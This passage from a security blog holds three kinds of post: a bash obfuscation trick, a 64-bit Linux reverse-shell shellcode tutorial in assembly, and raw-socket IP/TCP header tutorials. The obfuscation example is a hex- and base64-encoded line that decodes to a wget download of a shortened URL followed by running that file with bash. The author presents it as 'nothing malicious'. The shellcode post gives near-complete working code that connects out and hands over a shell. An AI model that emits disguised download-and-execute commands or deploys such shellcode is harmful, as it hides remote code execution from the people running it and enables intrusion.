Daniele Bellavista's Blog

Security, IT, Projects

A useless bash code obfuscation — 2013-10-27

A useless bash code obfuscation

Bash obfuscation is really hard. So just for fun I created a simple script that obfuscate a one-line bash code at cost of an huge size increase!

An example is:

eval `echo -e "\x65\x76\x61\x6c\x20\x60\x65\x63\x68\x6f\x20\x22\x64\x32\x64\x6c\x64\x43\x42\x6f\x64\x48\x52\x77\x4f\x69\x38\x76\x5a\x32\x39\x76\x4c\x6d\x64\x73\x4c\x31\x55\x30\x52\x31\x4e\x4d\x59\x53\x41\x74\x63\x55\x38\x67\x4c\x33\x52\x74\x63\x43\x39\x68\x63\x32\x51\x67\x4a\x69\x59\x67\x59\x6d\x46\x7a\x61\x43\x41\x76\x64\x47\x31\x77\x4c\x32\x46\x7a\x5a\x41\x3d\x3d\x22\x20\x7c\x20\x62\x61\x73\x65\x36\x34\x20\x2d\x64\x69\x60"`

I promise it’s nothing malicious ūüôā

The idea is to create multiple level of obfuscation and use eval to evaluate the deobfuscated string as bash code. The outer level is hexencoding, interpreted by echo -e. The second level is base64, interpreted by base64 -d.

Combinations can be a lot ūüėõ

The code of the obfuscator is:

#!/bin/bash
if [[ $# -ne 1 ]] ; then
  CMD="echo ciao"
else
  CMD=$1
fi
B64=$(echo -n $CMD | base64)
MIDDLE="eval \`echo \"$B64\" | base64 -di\`"
CODE=$(echo -n $MIDDLE | hexdump -v -e '"\\\x" 1/1 "%02x"')
LOL="eval \`echo -e \"$CODE\"\`"
echo $LOL

A 64 bits reverse shellcode — 2013-01-06

A 64 bits reverse shellcode

More bits equals more fun!
I’m sure a similar approach is possible also in 32 bit mode, but as the sacred linux man says:¬†
“Only standard library implementors and kernel hackers need to know about¬†socketcall()”.

Technically, in this very moment, we are not kernel hackers, so let’s use 64 bits syscalls socket() and connect().

0. Introduction

The desired behaviour of a  reverse shellcode is:

  1. Create a socket using tcp/udp or you favourite kernel-supported protocol.
  2. Connect to your server.
  3. Duplicate the socket file descriptor into the standard input and standard output one’s.
  4. Exec a shell.

1. sys_socket(int domain, int type, int protocol) — 41

Using man and header files and , we can easily determine the parameters: 

  • domain:¬†AF_INET = PF_INET = 2
  • type: SOCK_STREAM = 1
  • protocol: 0
The return value is the file descriptor.

 ; asmlinkage long sys_socket(int domain, int type, int protocol);  
mov rdi, 2 ; AF_INET => PF_INET => 2 ;;; /usr/include/bits/socket.h
mov rsi, 1 ; SOCK_STREAM => 1 ;;; /usr/include/bits/socket_type.h
mov rdx, 0
mov rax, 41
syscall
; now rax contains the fd

2. sys_connect(int fd, struct sockaddr user *, int addrlen) — 42

The boring part consists in manually define the sockaddr_in structure:

 struct sockaddr_in {  
short sin_family; // AF_INET (2)
unsigned short sin_port; // in network byte order (htons())
struct in_addr sin_addr; // As 32 bit
char sin_zero[8];
};



Example for connection to 127.0.0.1:1234

 sockaddr db 2,0,0x04,0xd2,0x7f,0x00,0x00,0x01,0,0,0,0,0,0,0,0  


Using the new shiny relative IP addressing, we can easly write the asm code:

 ; asmlinkage long sys_connect(int fd, struct sockaddr __user *, int addrlen);  
mov rdi, rax ; fd
lea rsi, [rel sockaddr] ; Socket address inet
mov rdx, 16 ; sock_addr_in size
mov rax, 42
syscall


3.¬†sys_dup2(unsigned int oldfd, unsigned int newfd) — 33

“Crepi l’avarizia!” We’ll duplicate stdin, stdout and stderr.

 ; asmlinkage long sys_dup2(unsigned int oldfd, unsigned int newfd);  
; check if rdi contains the fd
mov rsi, 2 ; stderr
mov rax, 33
syscall
mov rsi, 1 ; stdout
mov rax, 33
syscall
mov rsi, 0 ; stdin
mov rax, 33
syscall

4.¬†kernel_execve(const char *filename, const char *const argv[], const char *const envp[])¬†— 59

The final step is to execute a shell:

 ; int kernel_execve(const char *filename, const char *const argv[], const char *const envp[]);  
lea rdi, [rel filename]
lea rsi, [rel args]
mov rdx, 0
mov [rel args], rdi
mov [rel args+8], rdx
mov rax, 59
syscall
filename db '/bin/bash',0
args times 2 dq 1 ; nasm syntax



5. Conclusions

If the shellcode has to be injected as string, a zero-byte elimination process must be performed, but it’s quite¬†straightforward.

Due to the high number of the syscalls needed, ¬†the shellcode¬†is really big and maybe of difficult usage, but of couse¬†it’s all for academic purposes.
Raw Socket: TCP Segment — 2011-12-08

Raw Socket: TCP Segment

Now it’s time to get into the TCP header.
Obviously TCP over raw socket is very hard to use! Retrasmissions, control flow, congestion avoidance… All of that need to be implemented. However this may be interesting for learning and testing!
So let’s se the tcp header structure.

File: netinet/tcp.h


struct tcphdr
{…};
tcphdr->source //[16 bit] Source Port.
tcphdr->dest //[16 bit] Destination Port.
tcphdr->seq¬†//[32 bit] Sequence Number: received payload byte count since the first SYN. It’s the segment ID.
tcphdr->ack_seq //[32 bit] Acknowledgement Number, if the segment is an ACK, this field contains the next Sequence Number that the receiver is waiting for.
tcphdr->res1 //[4 bit] Reserved.
tcphdr->fin //[Flag] After this segment, no more segment expected from sender.

tcphdr->syn //[Flag] TCP connection opening request.
tcphdr->rst //[Flag] Error or opening request denied.
tcphdr->psh //[Flag] If enabled, the data will be sent directly to the application instead of being bufferized.
tcphdr->ack //[Flag] Acknowledgement. Enables field Acknowledgement Number.
tcphdr->urg //[Flag] Notify an Urgent Data, enables field Urgen Pointer.
tcphdr->res2 //[2 bit] Reserved.
tcphdr->doff //[4 bit] Data offset, TCP Header size in 32 bit words.
tcphdr->th_flags //[8 bit] Flags.
tcphdr->window //[16 bit] Advertise Windows Size.
tcphdr->check //[16 bit] Pseudoheader + Data Checksum (see Wikipedia).
tcphdr->urg_ptr //[16 bit] If flag URG is enabled, Urgent Pointer represent the offset from the Seq. Numb.


Now we define also a structure for ip pseudoheader, in order to compute the checksum.



struct pseudoheader
{
u_int32_t sourceAddress;
u_int32_t destinationAddress;
u_int8_t zeros;
u_int8_t protocol;
u_int8_t tcpLength;
};


Ok, now let’s run our TCP test and here it is our capture!





Source codes:

testTCP.c
tcp.h
tcp.c
ip.h
ip.c

Raw Socket: IP datagrams —

Raw Socket: IP datagrams

IP datagrams represent data to be routed.
They store informations like IP source and destination address.
Inside an iphdr struct is defined, allowing us to create a custom ip header. (More detailed information about IP header here)

File:


struct iphdr
{…};

iphdr.ihl //[4 bit] Internet Header Length, contains the header length measured in 32 bit words.
iphdr.version¬†//[4 bit] Datagram version. ipv4 version’s 4.
iphdr.tos¬†//[8 bit] Type of service (we won’t use it).
iphdr.tot_len //[16 bit] Datagram total length in byte.
iphdr.id //[16 bit] Used on router fragmentation.
iphdr.frag_off//[3 bit] Fragmentation controls.
iphdr.ttl //[8 bit] Time to live, or max hops allowed before datagramm destruction.
iphdr.protocol¬†//[8 bit] Payload protocol identifier ¬†(6->TCP, 17->UDP, 1->ICMP …).
iphdr.check //[16 bit] Header checksum (16-bit checksum RFC1071).
iphdr.saddr //[32 bit] IP source address
iphdr.daddr //[32 bit] IP destination address

Now let’s define some usefull functions for future use:

int createIpv4Header(Iphdr* buffer, char * srcAddress, char * dstAddress, u_int8_t ttl);
void setPayloadInfo(Iphdr* ipheader, int payloadLength, u_int8_t protocolType);
Time for funny testing!
Editing the previous post code, we can create a function testIP(char* src, char* dest) able to send an empty datagram ip to a custom destination from a custom source.
So we initialize the buffer:

int length = createIpv4Header(ipheader, sourceAddress, destinationAddress, 100);
setPayloadInfo(ipheader, 0, 1);


Calling setPayloadInfo we are setting a ICMP protocol with 0 length (obviously that would be a malformed datagram, but now we want only to test the IP behaviour).
Now let’s call the testIP function inside a main(), with parameters (“127.0.0.1”, “127.0.0.1”).
Compile.

Now let’s open our favourite traffic analyzer (like wireshark) and enable capturing on lo (loopback interface, or 127.0.0.1). We’ll be able to see our little datagram :).


$ sudo ./test_ip


We will see on wireshark something like that:



We do it!


Here the code:


ip.h
ip.c
testIP.c

Raw Socket: Introduction — 2011-12-07

Raw Socket: Introduction

Sockets are APIs (application programming interface) for creating comunication flows between two endpoints. Sockets create an interface above the Transport Layer, so we can use them in order to send data on the TCP/IP Application Layer.


Raw Sockets are little different. They create a low-level comunication flow, enabling us to work directly on IP layer or better over the Data-Link Layer. Basically, we have to write the TCP/IP headers and (re)write “freehand” the comunication protocol, like 3-Ways handshake or sliding windows managment.

Only a fool would use such a thing! A fool or someone who wants to analyze/manipulate the traffic. So the creation of a Raw Socket requires root privileges.


Thankfully the OS give us structures for protocol’s header (like¬†ip, tcp, udp, icmp, arp…).

The normal execution flow is:

  • Creation of a trasmission buffer, to be filled with IP header ip and payload.
  • IP packet checksum computation.
  • Raw Socket creation.
  • Tell the operating system to avoid adding automatically IP Header.
  • Sending the¬†trasmission¬†buffer using¬†sendto().
  • Wait for a reply using¬†recivefrom(), filling the receive buffer with the answer.
  • ūüėõ